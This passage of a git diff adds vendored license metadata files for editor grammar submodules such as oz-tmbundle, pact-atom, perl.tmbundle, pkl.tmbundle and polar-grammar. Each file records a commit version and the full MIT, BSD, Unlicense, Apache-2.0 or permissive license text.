+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/oz-tmbundle.dep.yml b/vendor/licenses/git_submodule/oz-tmbundle.dep.yml
new file mode 100644
index 0000000000..eabba8acbd
--- /dev/null
+++ b/vendor/licenses/git_submodule/oz-tmbundle.dep.yml
@@ -0,0 +1,27 @@
+---
+type: git_submodule
+name: oz-tmbundle
+version: ae97a56fadad87b07b5ab8fa869f478844559825
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2010 Benoit Daloze
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/pact-atom.dep.yml b/vendor/licenses/git_submodule/pact-atom.dep.yml
new file mode 100644
index 0000000000..ade356914e
--- /dev/null
+++ b/vendor/licenses/git_submodule/pact-atom.dep.yml
@@ -0,0 +1,40 @@
+---
+name: pact-atom
+version: c6710706c90e5d6f9be52330a14a27af742c5af5
+type: git_submodule
+homepage: https://github.com/kadena-io/pact-atom.git
+license: bsd-3-clause
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016, Kadena LLC
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are
+    met:
+
+    1. Redistributions of source code must retain the above copyright
+       notice, this list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright
+       notice, this list of conditions and the following disclaimer in the
+       documentation and/or other materials provided with the
+       distribution.
+
+    3. Neither the name of the copyright holder nor the names of its
+       contributors may be used to endorse or promote products derived
+       from this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+    "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+    LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+    A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+    HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+    LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+    DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+    THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/parrot.dep.yml b/vendor/licenses/git_submodule/parrot.dep.yml
new file mode 100644
index 0000000000..c0524fd42d
--- /dev/null
+++ b/vendor/licenses/git_submodule/parrot.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: parrot
+version: b56e84139f2a8b75aa199a990d340b9a0463de16
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/pascal.tmbundle.dep.yml b/vendor/licenses/git_submodule/pascal.tmbundle.dep.yml
new file mode 100644
index 0000000000..198b9535b7
--- /dev/null
+++ b/vendor/licenses/git_submodule/pascal.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: pascal.tmbundle
+version: 3b11b782368065e55acce0423f385722771d28b0
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/pawn-sublime-language.dep.yml b/vendor/licenses/git_submodule/pawn-sublime-language.dep.yml
new file mode 100644
index 0000000000..3e85d38d07
--- /dev/null
+++ b/vendor/licenses/git_submodule/pawn-sublime-language.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: pawn-sublime-language
+version: b83dab341b1da7af10937a61d49349009c30f1ee
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 "Southclaw"
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/perl.tmbundle.dep.yml b/vendor/licenses/git_submodule/perl.tmbundle.dep.yml
new file mode 100644
index 0000000000..41dcd87812
--- /dev/null
+++ b/vendor/licenses/git_submodule/perl.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: perl.tmbundle
+version: a85927a902d6e5d7805f56a653f324d34dfad53a
+type: git_submodule
+homepage: https://github.com/textmate/perl.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/php-smarty.tmbundle.dep.yml b/vendor/licenses/git_submodule/php-smarty.tmbundle.dep.yml
new file mode 100644
index 0000000000..1d8a051191
--- /dev/null
+++ b/vendor/licenses/git_submodule/php-smarty.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: php-smarty.tmbundle
+version: 3888046662241e02f1a7a39eb14bc4844acc082e
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/php.tmbundle.dep.yml b/vendor/licenses/git_submodule/php.tmbundle.dep.yml
new file mode 100644
index 0000000000..d0fab65789
--- /dev/null
+++ b/vendor/licenses/git_submodule/php.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: php.tmbundle
+version: f22df8af8441f9010ffc3e2cf7edb648d5b2cc64
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/pig-latin.dep.yml b/vendor/licenses/git_submodule/pig-latin.dep.yml
new file mode 100644
index 0000000000..78d576b6a2
--- /dev/null
+++ b/vendor/licenses/git_submodule/pig-latin.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: pig-latin
+version: 655bd8b1887d040fe7a0c691c6aa10c279a758b2
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Luís Rodrigues
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/pike-textmate.dep.yml b/vendor/licenses/git_submodule/pike-textmate.dep.yml
new file mode 100644
index 0000000000..fc8c861f1e
--- /dev/null
+++ b/vendor/licenses/git_submodule/pike-textmate.dep.yml
@@ -0,0 +1,57 @@
+---
+type: git_submodule
+name: pike-textmate
+version: 96870efc1f1c2f489ec5ac8b73eaf33aa7517ac9
+license: unlicense
+licenses:
+- text: |-
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org/>
+notices:
+- text: |-
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org/>
diff --git a/vendor/licenses/git_submodule/pkl.tmbundle.dep.yml b/vendor/licenses/git_submodule/pkl.tmbundle.dep.yml
new file mode 100644
index 0000000000..aed7474f9a
--- /dev/null
+++ b/vendor/licenses/git_submodule/pkl.tmbundle.dep.yml
@@ -0,0 +1,212 @@
+---
+name: pkl.tmbundle
+version: 3cfd12a10a1e289365398842b5a2764e9e863fd8
+type: git_submodule
+homepage: https://github.com/apple/pkl.tmbundle.git
+license: apache-2.0
+licenses:
+- sources: LICENSE.txt
+  text: |2
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/polar-grammar.dep.yml b/vendor/licenses/git_submodule/polar-grammar.dep.yml
new file mode 100644
index 0000000000..911cf1f0a5
--- /dev/null
+++ b/vendor/licenses/git_submodule/polar-grammar.dep.yml
@@ -0,0 +1,211 @@
+---
+name: polar-grammar
+version: 590c3b1b6eff477f9dde36f968c119c01f935f74
+type: git_submodule
+homepage: https://github.com/osohq/polar-grammar.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
